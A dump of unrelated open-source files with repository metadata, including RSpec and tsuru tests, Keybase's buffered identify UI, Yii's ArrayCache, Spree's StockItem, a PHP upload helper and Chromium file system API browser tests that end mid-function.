0x00, }
gauravagarwal/go-hbase-client
hbase_pb/SecureBulkLoad.pb.go
GO
bsd-3-clause
9,695
require 'spec_helper' describe Topic do it { should belong_to(:user) } it { should have_many(:comments).dependent(:destroy) } it { should have_many(:bookmarks).dependent(:destroy) } it { should have_many(:notifications).dependent(:destroy) } it { should validate_presence_of(:user_id) } it { should validate_presence_of(:title) } it { should_not validate_presence_of(:content) } it { should allow_mass_assignment_of(:title) } it { should allow_mass_assignment_of(:content) } it { should_not allow_mass_assignment_of(:user_id) } it { should_not allow_mass_assignment_of(:comments_closed) } it "should have default hit value" do topic = create(:topic) topic.hit.should == Topic::DEFAULT_HIT end it "should send notifications to mentioned users" do user = create(:user) topic = create(:topic, :title => "@#{user.nickname} hello") user.unread_notification_count.should be > 0 end it "should not create topic if any node's present" do node = create(:node) user = create(:user) topic = Topic.new(:title => 'Hello, world') topic.user = user result = topic.save result.should_not == true end it "should create topic if no nodes are present" do Node.destroy_all user = create(:user) topic = Topic.new(:title => 'Hello, world') topic.user = user result = topic.save result.should == true end end
chenryn/redmonster
spec/models/topic_spec.rb
Ruby
bsd-3-clause
1,401
// Copyright 2016 tsuru-client authors. All rights reserved. // Use of this source code is governed by a BSD-style // license that can be found in the LICENSE file. package admin import ( "bytes" "encoding/json" "net/http" "strings" "github.com/tsuru/tsuru/cmd" "github.com/tsuru/tsuru/cmd/cmdtest" "github.com/tsuru/tsuru/router/rebuild" "gopkg.in/check.v1" ) func (s *S) TestAppLockDeleteRun(c *check.C) { var stdout, stderr bytes.Buffer context := cmd.Context{ Stdout: &stdout, Stderr: &stderr, } expected := "Lock successfully removed!\n" trans := &cmdtest.ConditionalTransport{ Transport: cmdtest.Transport{Message: "", Status: http.StatusOK}, CondFunc: func(req *http.Request) bool { return strings.HasSuffix(req.URL.Path, "/apps/app1/lock") && req.Method == http.MethodDelete }, } client := cmd.NewClient(&http.Client{Transport: trans}, nil, s.manager) command := AppLockDelete{} command.Flags().Parse(true, []string{"--app", "app1", "-y"}) err := command.Run(&context, client) c.Assert(err, check.IsNil) c.Assert(stdout.String(), check.Equals, expected) } func (s *S) TestAppLockDeleteRunAsksConfirmation(c *check.C) { var stdout, stderr bytes.Buffer context := cmd.Context{ Stdout: &stdout, Stderr: &stderr, Stdin: strings.NewReader("n\n"), } command := AppLockDelete{} command.Flags().Parse(true, []string{"--app", "app1"}) err := command.Run(&context, nil) c.Assert(err, check.IsNil) c.Assert(stdout.String(), check.Equals, "Are you sure you want to remove the lock from app \"app1\"? (y/n) Abort.\n") } func (s *S) TestAppRoutesRebuildRun(c *check.C) { var stdout, stderr bytes.Buffer context := cmd.Context{ Stdout: &stdout, Stderr: &stderr, } rebuildResult := rebuild.RebuildRoutesResult{ Added: []string{"r1", "r2"}, Removed: []string{"r9"}, } data, err := json.Marshal(rebuildResult) c.Assert(err, check.IsNil) trans := &cmdtest.ConditionalTransport{ Transport: cmdtest.Transport{Message: string(data), Status: http.StatusOK}, CondFunc: func(req *http.Request) bool { return strings.HasSuffix(req.URL.Path, "/apps/app1/routes") && req.Method == "POST" }, } client := cmd.NewClient(&http.Client{Transport: trans}, nil, s.manager) command := AppRoutesRebuild{} command.Flags().Parse(true, []string{"--app", "app1"}) err = command.Run(&context, client) c.Assert(err, check.IsNil) c.Assert(stdout.String(), check.Equals, `Added routes: - r1 - r2 Removed routes: - r9 Routes successfully rebuilt! `) } func (s *S) TestAppRoutesRebuildRunNothingToDo(c *check.C) { var stdout, stderr bytes.Buffer context := cmd.Context{ Stdout: &stdout, Stderr: &stderr, } rebuildResult := rebuild.RebuildRoutesResult{} data, err := json.Marshal(rebuildResult) c.Assert(err, check.IsNil) trans := &cmdtest.ConditionalTransport{ Transport: cmdtest.Transport{Message: string(data), Status: http.StatusOK}, CondFunc: func(req *http.Request) bool { return strings.HasSuffix(req.URL.Path, "/apps/app1/routes") && req.Method == "POST" }, } client := cmd.NewClient(&http.Client{Transport: trans}, nil, s.manager) command := AppRoutesRebuild{} command.Flags().Parse(true, []string{"--app", "app1"}) err = command.Run(&context, client) c.Assert(err, check.IsNil) c.Assert(stdout.String(), check.Equals, "Nothing to do, routes already correct.\n") }
ArxdSilva/tsuru-client
tsuru/admin/app_test.go
GO
bsd-3-clause
3,350
package br.com.badrequest.insporte.rest.model.questionario; import java.io.Serializable; public class Imagem implements Serializable { public Long idPergunta; public Long idImagem; public String img; }
badrequest/inSPorte
insport_server/insporte/insporte-rest/src/main/java/br/com/badrequest/insporte/rest/model/questionario/Imagem.java
Java
bsd-3-clause
209
// Copyright 2015 Keybase, Inc. All rights reserved. Use of // this source code is governed by the included BSD license. package engine import ( "path" "runtime" "sync" "github.com/keybase/client/go/libkb" keybase1 "github.com/keybase/client/go/protocol/keybase1" ) type start struct { s string r keybase1.IdentifyReason f bool } type proofCheck struct { social bool p keybase1.RemoteProof l keybase1.LinkCheckResult } type launchNetworkChecks struct { i *keybase1.Identity u *keybase1.User } type bufferedIdentifyUI struct { libkb.Contextified sync.Mutex raw libkb.IdentifyUI confirmIfSuppressed keybase1.ConfirmResult bufferedMode bool start *start proofChecks []proofCheck cryptocurrency []keybase1.Cryptocurrency stellar *keybase1.StellarAccount launchNetworkChecks *launchNetworkChecks keys []keybase1.IdentifyKey lastTrack **keybase1.TrackSummary suppressed bool userCard *keybase1.UserCard } var _ libkb.IdentifyUI = (*bufferedIdentifyUI)(nil) func newBufferedIdentifyUI(g *libkb.GlobalContext, u libkb.IdentifyUI, c keybase1.ConfirmResult) *bufferedIdentifyUI { return &bufferedIdentifyUI{ Contextified: libkb.NewContextified(g), raw: u, confirmIfSuppressed: c, bufferedMode: true, } } func (b *bufferedIdentifyUI) Start(m libkb.MetaContext, s string, r keybase1.IdentifyReason, f bool) error { b.Lock() defer b.Unlock() b.start = &start{s, r, f} return b.flush(m, false) } func (b *bufferedIdentifyUI) flush(m libkb.MetaContext, trackingBroke bool) (err error) { // Look up the calling function for debugging purposes pc := make([]uintptr, 10) // at least 1 entry needed runtime.Callers(2, pc) f := runtime.FuncForPC(pc[0]) caller := path.Base(f.Name()) m.Debug("+ bufferedIdentifyUI#flush(%v) [caller=%s, buffered=%v, suppressed=%v]", trackingBroke, caller, b.bufferedMode, b.suppressed) if !trackingBroke && b.bufferedMode { m.Debug("- bufferedIdentifyUI#flush: short-circuit") return nil } defer func() { b.flushCleanup() m.Debug("- bufferedIdentifyUI#flush -> %v", err) }() if b.start != nil { err = b.raw.Start(m, b.start.s, b.start.r, b.start.f) if err != nil { return err } } for _, k := range b.keys { err = b.raw.DisplayKey(m, k) if err != nil { return err } } if b.lastTrack != nil { err = b.raw.ReportLastTrack(m, *b.lastTrack) if err != nil { return err } } if b.launchNetworkChecks != nil { err = b.raw.LaunchNetworkChecks(m, b.launchNetworkChecks.i, b.launchNetworkChecks.u) if err != nil { return err } } if b.userCard != nil { err = b.raw.DisplayUserCard(m, *b.userCard) if err != nil { return err } } for _, w := range b.proofChecks { var err error if w.social { err = b.raw.FinishSocialProofCheck(m, w.p, w.l) } else { err = b.raw.FinishWebProofCheck(m, w.p, w.l) } if err != nil { return err } } for _, c := range b.cryptocurrency { err = b.raw.DisplayCryptocurrency(m, c) if err != nil { return err } } if b.stellar != nil { err = b.raw.DisplayStellarAccount(m, *b.stellar) if err != nil { return err } } return nil } func (b *bufferedIdentifyUI) flushCleanup() { b.start = nil b.proofChecks = nil b.cryptocurrency = nil b.stellar = nil b.bufferedMode = false b.launchNetworkChecks = nil b.keys = nil b.lastTrack = nil b.userCard = nil } func (b *bufferedIdentifyUI) FinishWebProofCheck(m libkb.MetaContext, p keybase1.RemoteProof, l keybase1.LinkCheckResult) error { b.Lock() defer b.Unlock() b.proofChecks = append(b.proofChecks, proofCheck{false, p, l}) return b.flush(m, l.BreaksTracking) } func (b *bufferedIdentifyUI) FinishSocialProofCheck(m libkb.MetaContext, p keybase1.RemoteProof, l keybase1.LinkCheckResult) error { b.Lock() defer b.Unlock() b.proofChecks = append(b.proofChecks, proofCheck{true, p, l}) return b.flush(m, l.BreaksTracking) } func (b *bufferedIdentifyUI) Confirm(m libkb.MetaContext, o *keybase1.IdentifyOutcome) (keybase1.ConfirmResult, error) { b.Lock() defer b.Unlock() if b.bufferedMode { m.Debug("| bufferedIdentifyUI#Confirm: suppressing output") b.suppressed = true return b.confirmIfSuppressed, nil } m.Debug("| bufferedIdentifyUI#Confirm: enabling output") b.flush(m, true) return b.raw.Confirm(m, o) } func (b *bufferedIdentifyUI) DisplayCryptocurrency(m libkb.MetaContext, c keybase1.Cryptocurrency) error { b.Lock() defer b.Unlock() b.cryptocurrency = append(b.cryptocurrency, c) return b.flush(m, false) } func (b *bufferedIdentifyUI) DisplayStellarAccount(m libkb.MetaContext, c keybase1.StellarAccount) error { b.Lock() defer b.Unlock() b.stellar = &c return b.flush(m, false) } func (b *bufferedIdentifyUI) DisplayKey(m libkb.MetaContext, k keybase1.IdentifyKey) error { b.Lock() defer b.Unlock() b.keys = append(b.keys, k) return b.flush(m, k.BreaksTracking) } func (b *bufferedIdentifyUI) ReportLastTrack(m libkb.MetaContext, s *keybase1.TrackSummary) error { b.Lock() defer b.Unlock() b.lastTrack = &s return b.flush(m, false) } func (b *bufferedIdentifyUI) LaunchNetworkChecks(m libkb.MetaContext, i *keybase1.Identity, u *keybase1.User) error { b.Lock() defer b.Unlock() b.launchNetworkChecks = &launchNetworkChecks{i, u} return b.flush(m, i.BreaksTracking) } func (b *bufferedIdentifyUI) DisplayTrackStatement(m libkb.MetaContext, s string) error { return b.raw.DisplayTrackStatement(m, s) } func (b *bufferedIdentifyUI) DisplayUserCard(m libkb.MetaContext, c keybase1.UserCard) error { b.Lock() defer b.Unlock() b.userCard = &c return b.flush(m, false) } func (b *bufferedIdentifyUI) ReportTrackToken(m libkb.MetaContext, t keybase1.TrackToken) error { b.Lock() defer b.Unlock() if b.suppressed { return nil } return b.raw.ReportTrackToken(m, t) } func (b *bufferedIdentifyUI) Cancel(m libkb.MetaContext) error { b.Lock() defer b.Unlock() // Cancel should always go through to UI server return b.raw.Cancel(m) } func (b *bufferedIdentifyUI) Finish(m libkb.MetaContext) error { b.Lock() defer b.Unlock() if b.suppressed { m.Debug("| bufferedIdentifyUI#Finish: suppressed") return nil } m.Debug("| bufferedIdentifyUI#Finish: went through to UI") // This is likely a noop since we already covered this case in the `Confirm` step // above. However, if due a bug we forgot to call `Confirm` from the UI, this // is still useful. b.flush(m, true) return b.raw.Finish(m) } func (b *bufferedIdentifyUI) DisplayTLFCreateWithInvite(m libkb.MetaContext, d keybase1.DisplayTLFCreateWithInviteArg) error { return b.raw.DisplayTLFCreateWithInvite(m, d) } func (b *bufferedIdentifyUI) Dismiss(m libkb.MetaContext, s string, r keybase1.DismissReason) error { return b.raw.Dismiss(m, s, r) }
keybase/client
go/engine/buffered_identify_ui.go
GO
bsd-3-clause
6,887
<?php /** * @link http://www.yiiframework.com/ * @copyright Copyright (c) 2008 Yii Software LLC * @license http://www.yiiframework.com/license/ */ namespace yii\caching; /** * ArrayCache 通过把值存入数组来提供缓存,只对当前请求有效。 * * 参考 [[Cache]] 查看 ArrayCache 支持的通用的缓存操作方法。 * * 不像 [[Cache]] 那样,ArrayCache 允许 [[set]],[[add]],[[multiSet]] 和 [[multiAdd]] 方法的过期参数 * 可以是浮点数,你可以以毫秒为单位指定过期时间(比如,0.1 表示 100 毫秒)。 * * 为了增强 ArrayCache 的性能,你可以把 [[$serializer]] 设置为 `false` 来禁用缓存数据的序列化过程。 * * 更多缓存的详情和使用信息,请参考 [guide article on caching](guide:caching-overview)。 * * @author Carsten Brandt <mail@cebe.cc> * @since 2.0 */ class ArrayCache extends Cache { private $_cache = []; /** * {@inheritdoc} */ public function exists($key) { $key = $this->buildKey($key); return isset($this->_cache[$key]) && ($this->_cache[$key][1] === 0 || $this->_cache[$key][1] > microtime(true)); } /** * {@inheritdoc} */ protected function getValue($key) { if (isset($this->_cache[$key]) && ($this->_cache[$key][1] === 0 || $this->_cache[$key][1] > microtime(true))) { return $this->_cache[$key][0]; } return false; } /** * {@inheritdoc} */ protected function setValue($key, $value, $duration) { $this->_cache[$key] = [$value, $duration === 0 ? 0 : microtime(true) + $duration]; return true; } /** * {@inheritdoc} */ protected function addValue($key, $value, $duration) { if (isset($this->_cache[$key]) && ($this->_cache[$key][1] === 0 || $this->_cache[$key][1] > microtime(true))) { return false; } $this->_cache[$key] = [$value, $duration === 0 ? 0 : microtime(true) + $duration]; return true; } /** * {@inheritdoc} */ protected function deleteValue($key) { unset($this->_cache[$key]); return true; } /** * {@inheritdoc} */ protected function flushValues() { $this->_cache = []; return true; } }
yiichina/yii2
framework/caching/ArrayCache.php
PHP
bsd-3-clause
2,345
module Spree class StockItem < Spree::Base acts_as_paranoid belongs_to :stock_location, class_name: 'Spree::StockLocation', inverse_of: :stock_items belongs_to :variant, class_name: 'Spree::Variant', inverse_of: :stock_items has_many :stock_movements, inverse_of: :stock_item validates_presence_of :stock_location, :variant validates_uniqueness_of :variant_id, scope: [:stock_location_id, :deleted_at] validates :count_on_hand, numericality: { greater_than_or_equal_to: 0 }, if: :verify_count_on_hand? delegate :weight, :should_track_inventory?, to: :variant after_save :conditional_variant_touch, if: :changed? after_touch { variant.touch } self.whitelisted_ransackable_attributes = ['count_on_hand', 'stock_location_id'] def backordered_inventory_units Spree::InventoryUnit.backordered_for_stock_item(self) end def variant_name variant.name end def adjust_count_on_hand(value) self.with_lock do self.count_on_hand = self.count_on_hand + value process_backorders(count_on_hand - count_on_hand_was) self.save! end end def set_count_on_hand(value) self.count_on_hand = value process_backorders(count_on_hand - count_on_hand_was) self.save! end def in_stock? self.count_on_hand > 0 end # Tells whether it's available to be included in a shipment def available? self.in_stock? || self.backorderable? end def variant Spree::Variant.unscoped { super } end def reduce_count_on_hand_to_zero self.set_count_on_hand(0) if count_on_hand > 0 end private def verify_count_on_hand? count_on_hand_changed? && !backorderable? && (count_on_hand < count_on_hand_was) && (count_on_hand < 0) end def count_on_hand=(value) write_attribute(:count_on_hand, value) end # Process backorders based on amount of stock received # If stock was -20 and is now -15 (increase of 5 units), then we should process 5 inventory orders. # If stock was -20 but then was -25 (decrease of 5 units), do nothing. def process_backorders(number) if number > 0 backordered_inventory_units.first(number).each do |unit| unit.fill_backorder end end end def conditional_variant_touch if !Spree::Config.binary_inventory_cache || (count_on_hand_changed? && count_on_hand_change.any?(&:zero?)) variant.touch end end end end
dotandbo/spree
core/app/models/spree/stock_item.rb
Ruby
bsd-3-clause
2,558
<?php namespace common\components\upload; use common\models\Attachment; use yii\base\Object; /** * This is the model class for class Attachment. * * @property integer name * @property string tempName * @property string type * @property integer size * @property string error * * * @property string baseName * @property string fullPath * @property string realName * @property string extension * * @property string thumbnailPathDefault * * @property string typeByExtension * @property string thumbnailUrl * @property string thumbnailPath * @property string urlPath */ class File extends Object { public $isBase64 = false; public $fileBase64; public $name; public $tempName; public $realName; public $type; public $size; public $error; /** * @return string original file base name */ public function getBaseName() { return pathinfo($this->name, PATHINFO_FILENAME); } /** * @return string file extension */ public function getExtension() { return $this->isBase64 && $this->fileBase64 ? explode('/', finfo_buffer(finfo_open(), $this->fileBase64, FILEINFO_MIME_TYPE))[1] : strtolower(pathinfo($this->name, PATHINFO_EXTENSION)); } # upload file to folder /** * Save file in path * * @param $file * @param bool $deleteTempFile * @return bool */ public function saveAs($file, $deleteTempFile = true) { if ((int)$this->error === UPLOAD_ERR_OK) { if ($deleteTempFile) { return move_uploaded_file($this->tempName, $file); } elseif (is_uploaded_file($this->tempName)) { return copy($this->tempName, $file); } } return false; } # help getter path /** * Get full path to file D:\OpenServer\... * * @param string|null $name * @return string */ public function getFullPath($name = null) { $this->realName = $name ?: uniqid(10, false); return $this->aliasByType($this->typeByExtension) . $this->realName . '.' . $this->getExtension(); } /** * Get Url Path http://project/statics/web/images/... * * @return string */ public function getUrlPath() { return $this->aliasByType($this->typeByExtension, true) . $this->realName . '.' . $this->getExtension(); } /** * Get full path to file D:\OpenServer\... for thumbnail alias * * @return string */ public function getThumbnailUrl() { return $this->type === uploader::TYPE_IMAGE ? $this->aliasByType(uploader::TYPE_MINIATURE, true) . $this->realName . '_thumbnail.' . $this->getExtension() : null; } /** * Get Url Path http://project/statics/web/images/thumbnail/... for thumbnail alias * * @return string */ public function getThumbnailPath() { return $this->aliasByType(uploader::TYPE_MINIATURE, false) . $this->realName . '_thumbnail.' . $this->getExtension(); } /** * @param string $alias * @param bool $url * @return mixed */ private function aliasByType($alias, $url = false) { return UploadFile::$aliases[$alias][$url ? 'folder' : 'fullPath']; } # Help getter /** * Get Type By Extension from counts ALL_TYPES * * @return bool|int|string * * TODO: fix! */ public function getTypeByExtension() { foreach (uploader::ALL_TYPES as $key => $item) { if (in_array($this->extension, $item, false)) { return $key; } } return uploader::TYPE_UNKNOWN; } }
DashaLadatko/Diplom
common/components/upload/File.php
PHP
bsd-3-clause
3,709
// Copyright (c) 2012 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include "apps/saved_files_service.h" #include "base/bind.h" #include "base/files/file_util.h" #include "base/macros.h" #include "base/path_service.h" #include "base/scoped_observation.h" #include "base/threading/thread_restrictions.h" #include "build/build_config.h" #include "build/chromeos_buildflags.h" #include "chrome/browser/apps/platform_apps/app_browsertest_util.h" #include "chrome/browser/profiles/profile.h" #include "chrome/common/chrome_paths.h" #include "content/public/test/browser_test.h" #include "extensions/browser/api/file_system/file_system_api.h" #include "extensions/browser/api/file_system/saved_file_entry.h" #include "extensions/browser/extension_prefs.h" #include "extensions/browser/extension_registry.h" #include "extensions/browser/extension_registry_observer.h" // TODO(michaelpg): Port these tests to app_shell: crbug.com/505926. namespace content { class BrowserContext; } namespace extensions { namespace { class AppLoadObserver : public ExtensionRegistryObserver { public: AppLoadObserver( content::BrowserContext* browser_context, const base::RepeatingCallback<void(const Extension*)>& callback) : callback_(callback) { extension_registry_observation_.Observe( ExtensionRegistry::Get(browser_context)); } AppLoadObserver(const AppLoadObserver&) = delete; AppLoadObserver& operator=(const AppLoadObserver&) = delete; void OnExtensionLoaded(content::BrowserContext* browser_context, const Extension* extension) override { callback_.Run(extension); } private: base::RepeatingCallback<void(const Extension*)> callback_; base::ScopedObservation<ExtensionRegistry, ExtensionRegistryObserver> extension_registry_observation_{this}; }; void SetLastChooseEntryDirectory(const base::FilePath& choose_entry_directory, ExtensionPrefs* prefs, const Extension* extension) { file_system_api::SetLastChooseEntryDirectory( prefs, extension->id(), choose_entry_directory); } void AddSavedEntry(const base::FilePath& path_to_save, bool is_directory, apps::SavedFilesService* service, const Extension* extension) { service->RegisterFileEntry( extension->id(), "magic id", path_to_save, is_directory); } const int kGraylistedPath = base::DIR_HOME; } // namespace class FileSystemApiTest : public PlatformAppBrowserTest { public: FileSystemApiTest() { set_open_about_blank_on_browser_launch(false); } void SetUpCommandLine(base::CommandLine* command_line) override { PlatformAppBrowserTest::SetUpCommandLine(command_line); test_root_folder_ = test_data_dir_.AppendASCII("api_test") .AppendASCII("file_system"); FileSystemChooseEntryFunction::RegisterTempExternalFileSystemForTest( "test_root", test_root_folder_); } void TearDown() override { PlatformAppBrowserTest::TearDown(); } protected: base::FilePath TempFilePath(const std::string& destination_name, bool copy_gold) { base::ScopedAllowBlockingForTesting allow_blocking; if (!temp_dir_.CreateUniqueTempDir()) { ADD_FAILURE() << "CreateUniqueTempDir failed"; return base::FilePath(); } FileSystemChooseEntryFunction::RegisterTempExternalFileSystemForTest( "test_temp", temp_dir_.GetPath()); base::FilePath destination = temp_dir_.GetPath().AppendASCII(destination_name); if (copy_gold) { base::FilePath source = test_root_folder_.AppendASCII("gold.txt"); EXPECT_TRUE(base::CopyFile(source, destination)); } return destination; } std::vector<base::FilePath> TempFilePaths( const std::vector<std::string>& destination_names, bool copy_gold) { base::ScopedAllowBlockingForTesting allow_blocking; if (!temp_dir_.CreateUniqueTempDir()) { ADD_FAILURE() << "CreateUniqueTempDir failed"; return std::vector<base::FilePath>(); } FileSystemChooseEntryFunction::RegisterTempExternalFileSystemForTest( "test_temp", temp_dir_.GetPath()); std::vector<base::FilePath> result; for (auto it = destination_names.cbegin(); it != destination_names.cend(); ++it) { base::FilePath destination = temp_dir_.GetPath().AppendASCII(*it); if (copy_gold) { base::FilePath source = test_root_folder_.AppendASCII("gold.txt"); EXPECT_TRUE(base::CopyFile(source, destination)); } result.push_back(destination); } return result; } void CheckStoredDirectoryMatches(const base::FilePath& filename) { base::ScopedAllowBlockingForTesting allow_blocking; const Extension* extension = GetSingleLoadedExtension(); ASSERT_TRUE(extension); std::string extension_id = extension->id(); ExtensionPrefs* prefs = ExtensionPrefs::Get(profile()); base::FilePath stored_value = file_system_api::GetLastChooseEntryDirectory(prefs, extension_id); if (filename.empty()) { EXPECT_TRUE(stored_value.empty()); } else { EXPECT_EQ(base::MakeAbsoluteFilePath(filename.DirName()), base::MakeAbsoluteFilePath(stored_value)); } } base::FilePath test_root_folder_; base::ScopedTempDir temp_dir_; }; IN_PROC_BROWSER_TEST_F(FileSystemApiTest, FileSystemApiGetDisplayPath) { base::FilePath test_file = test_root_folder_.AppendASCII("gold.txt"); FileSystemChooseEntryFunction::SkipPickerAndAlwaysSelectPathForTest picker( test_file); ASSERT_TRUE(RunExtensionTest("api_test/file_system/get_display_path", {.launch_as_platform_app = true})) << message_; } #if defined(OS_WIN) || defined(OS_POSIX) IN_PROC_BROWSER_TEST_F(FileSystemApiTest, FileSystemApiGetDisplayPathPrettify) { { base::ScopedAllowBlockingForTesting allow_blocking; ASSERT_TRUE(base::PathService::OverrideAndCreateIfNeeded( base::DIR_HOME, test_root_folder_, false, false)); } base::FilePath test_file = test_root_folder_.AppendASCII("gold.txt"); FileSystemChooseEntryFunction::SkipPickerAndAlwaysSelectPathForTest picker( test_file); ASSERT_TRUE(RunExtensionTest("api_test/file_system/get_display_path_prettify", {.launch_as_platform_app = true})) << message_; } #endif #if defined(OS_MAC) IN_PROC_BROWSER_TEST_F(FileSystemApiTest, FileSystemApiGetDisplayPathPrettifyMac) { base::FilePath test_file; { base::ScopedAllowBlockingForTesting allow_blocking; // On Mac, "test.localized" will be localized into just "test". base::FilePath test_path = TempFilePath("test.localized", false); ASSERT_TRUE(base::CreateDirectory(test_path)); test_file = test_path.AppendASCII("gold.txt"); base::FilePath source = test_root_folder_.AppendASCII("gold.txt"); EXPECT_TRUE(base::CopyFile(source, test_file)); } FileSystemChooseEntryFunction::SkipPickerAndAlwaysSelectPathForTest picker( test_file); ASSERT_TRUE( RunExtensionTest("api_test/file_system/get_display_path_prettify_mac", {.launch_as_platform_app = true})) << message_; } #endif IN_PROC_BROWSER_TEST_F(FileSystemApiTest, FileSystemApiOpenExistingFileTest) { base::FilePath test_file = TempFilePath("open_existing.txt", true); ASSERT_FALSE(test_file.empty()); FileSystemChooseEntryFunction::SkipPickerAndAlwaysSelectPathForTest picker( test_file); ASSERT_TRUE(RunExtensionTest("api_test/file_system/open_existing", {.launch_as_platform_app = true})) << message_; CheckStoredDirectoryMatches(test_file); } IN_PROC_BROWSER_TEST_F(FileSystemApiTest, FileSystemApiOpenExistingFileUsingPreviousPathTest) { base::FilePath test_file = TempFilePath("open_existing.txt", true); ASSERT_FALSE(test_file.empty()); FileSystemChooseEntryFunction::SkipPickerAndSelectSuggestedPathForTest picker; { AppLoadObserver observer( profile(), base::BindRepeating(SetLastChooseEntryDirectory, test_file.DirName(), ExtensionPrefs::Get(profile()))); ASSERT_TRUE(RunExtensionTest("api_test/file_system/open_existing", {.launch_as_platform_app = true})) << message_; } CheckStoredDirectoryMatches(test_file); } IN_PROC_BROWSER_TEST_F(FileSystemApiTest, FileSystemApiOpenExistingFilePreviousPathDoesNotExistTest) { base::FilePath test_file = TempFilePath("open_existing.txt", true); ASSERT_FALSE(test_file.empty()); { base::ScopedAllowBlockingForTesting allow_blocking; ASSERT_TRUE(base::PathService::OverrideAndCreateIfNeeded( chrome::DIR_USER_DOCUMENTS, test_file.DirName(), false, false)); } FileSystemChooseEntryFunction::SkipPickerAndSelectSuggestedPathForTest picker; { AppLoadObserver observer( profile(), base::BindRepeating( SetLastChooseEntryDirectory, test_file.DirName().Append(base::FilePath::FromUTF8Unsafe( "fake_directory_does_not_exist")), ExtensionPrefs::Get(profile()))); ASSERT_TRUE(RunExtensionTest("api_test/file_system/open_existing", {.launch_as_platform_app = true})) << message_; } CheckStoredDirectoryMatches(test_file); } IN_PROC_BROWSER_TEST_F(FileSystemApiTest, FileSystemApiOpenExistingFileDefaultPathTest) { base::FilePath test_file = TempFilePath("open_existing.txt", true); ASSERT_FALSE(test_file.empty()); { base::ScopedAllowBlockingForTesting allow_blocking; ASSERT_TRUE(base::PathService::OverrideAndCreateIfNeeded( chrome::DIR_USER_DOCUMENTS, test_file.DirName(), false, false)); } FileSystemChooseEntryFunction::SkipPickerAndSelectSuggestedPathForTest picker; ASSERT_TRUE(RunExtensionTest("api_test/file_system/open_existing", {.launch_as_platform_app = true})) << message_; CheckStoredDirectoryMatches(test_file); } IN_PROC_BROWSER_TEST_F(FileSystemApiTest, FileSystemApiOpenMultipleSuggested) { base::FilePath test_file = TempFilePath("open_existing.txt", true); ASSERT_FALSE(test_file.empty()); { base::ScopedAllowBlockingForTesting allow_blocking; ASSERT_TRUE(base::PathService::OverrideAndCreateIfNeeded( chrome::DIR_USER_DOCUMENTS, test_file.DirName(), false, false)); } FileSystemChooseEntryFunction::SkipPickerAndSelectSuggestedPathForTest picker; ASSERT_TRUE( RunExtensionTest("api_test/file_system/open_multiple_with_suggested_name", {.launch_as_platform_app = true})) << message_; CheckStoredDirectoryMatches(test_file); } IN_PROC_BROWSER_TEST_F(FileSystemApiTest, FileSystemApiOpenMultipleExistingFilesTest) { std::vector<std::string> names; names.push_back("open_existing1.txt"); names.push_back("open_existing2.txt"); std::vector<base::FilePath> test_files = TempFilePaths(names, true); ASSERT_EQ(2u, test_files.size()); FileSystemChooseEntryFunction::SkipPickerAndAlwaysSelectPathsForTest picker( test_files); ASSERT_TRUE(RunExtensionTest("api_test/file_system/open_multiple_existing", {.launch_as_platform_app = true})) << message_; } IN_PROC_BROWSER_TEST_F(FileSystemApiTest, FileSystemApiOpenDirectoryTest) { base::FilePath test_file = TempFilePath("open_existing.txt", true); ASSERT_FALSE(test_file.empty()); base::FilePath test_directory = test_file.DirName(); FileSystemChooseEntryFunction::SkipPickerAndAlwaysSelectPathForTest picker( test_directory); ASSERT_TRUE(RunExtensionTest("api_test/file_system/open_directory", {.launch_as_platform_app = true})) << message_; CheckStoredDirectoryMatches(test_file); } IN_PROC_BROWSER_TEST_F(FileSystemApiTest, FileSystemApiOpenDirectoryWithWriteTest) { base::FilePath test_file = TempFilePath("open_existing.txt", true); ASSERT_FALSE(test_file.empty()); base::FilePath test_directory = test_file.DirName(); FileSystemChooseEntryFunction::SkipPickerAndAlwaysSelectPathForTest picker( test_directory); ASSERT_TRUE(RunExtensionTest("api_test/file_system/open_directory_with_write", {.launch_as_platform_app = true})) << message_; CheckStoredDirectoryMatches(test_file); } IN_PROC_BROWSER_TEST_F(FileSystemApiTest, FileSystemApiOpenDirectoryWithoutPermissionTest) { base::FilePath test_file = TempFilePath("open_existing.txt", true); ASSERT_FALSE(test_file.empty()); base::FilePath test_directory = test_file.DirName(); FileSystemChooseEntryFunction::SkipPickerAndAlwaysSelectPathForTest picker( test_directory); ASSERT_TRUE( RunExtensionTest("api_test/file_system/open_directory_without_permission", {.launch_as_platform_app = true})) << message_; CheckStoredDirectoryMatches(base::FilePath()); } IN_PROC_BROWSER_TEST_F(FileSystemApiTest, FileSystemApiOpenDirectoryWithOnlyWritePermissionTest) { base::FilePath test_file = TempFilePath("open_existing.txt", true); ASSERT_FALSE(test_file.empty()); base::FilePath test_directory = test_file.DirName(); FileSystemChooseEntryFunction::SkipPickerAndAlwaysSelectPathForTest picker( test_directory); ASSERT_TRUE( RunExtensionTest("api_test/file_system/open_directory_with_only_write", {.launch_as_platform_app = true})) << message_; CheckStoredDirectoryMatches(base::FilePath()); } #if defined(OS_WIN) || defined(OS_POSIX) IN_PROC_BROWSER_TEST_F(FileSystemApiTest, FileSystemApiOpenDirectoryOnGraylistAndAllowTest) { base::FilePath test_file = TempFilePath("open_existing.txt", true); ASSERT_FALSE(test_file.empty()); base::FilePath test_directory = test_file.DirName(); FileSystemChooseEntryFunction::SkipPickerAndAlwaysSelectPathForTest picker( test_directory, /*skip_dir_confirmation=*/true, /*allow_directory_access=*/true); { base::ScopedAllowBlockingForTesting allow_blocking; ASSERT_TRUE(base::PathService::OverrideAndCreateIfNeeded( kGraylistedPath, test_directory, false, false)); } ASSERT_TRUE(RunExtensionTest("api_test/file_system/open_directory", {.launch_as_platform_app = true})) << message_; CheckStoredDirectoryMatches(test_file); } IN_PROC_BROWSER_TEST_F(FileSystemApiTest, FileSystemApiOpenDirectoryOnGraylistTest) { base::FilePath test_file = TempFilePath("open_existing.txt", true); ASSERT_FALSE(test_file.empty()); base::FilePath test_directory = test_file.DirName(); // If a dialog is erroneously displayed, auto cancel it, so that the test // fails. FileSystemChooseEntryFunction::SkipPickerAndAlwaysSelectPathForTest picker( test_directory, /*skip_dir_confirmation=*/true); { base::ScopedAllowBlockingForTesting allow_blocking; ASSERT_TRUE(base::PathService::OverrideAndCreateIfNeeded( kGraylistedPath, test_directory, false, false)); } ASSERT_TRUE(RunExtensionTest("api_test/file_system/open_directory_cancel", {.launch_as_platform_app = true})) << message_; CheckStoredDirectoryMatches(test_file); } IN_PROC_BROWSER_TEST_F(FileSystemApiTest, FileSystemApiOpenDirectoryContainingGraylistTest) { base::FilePath test_file = TempFilePath("open_existing.txt", true); 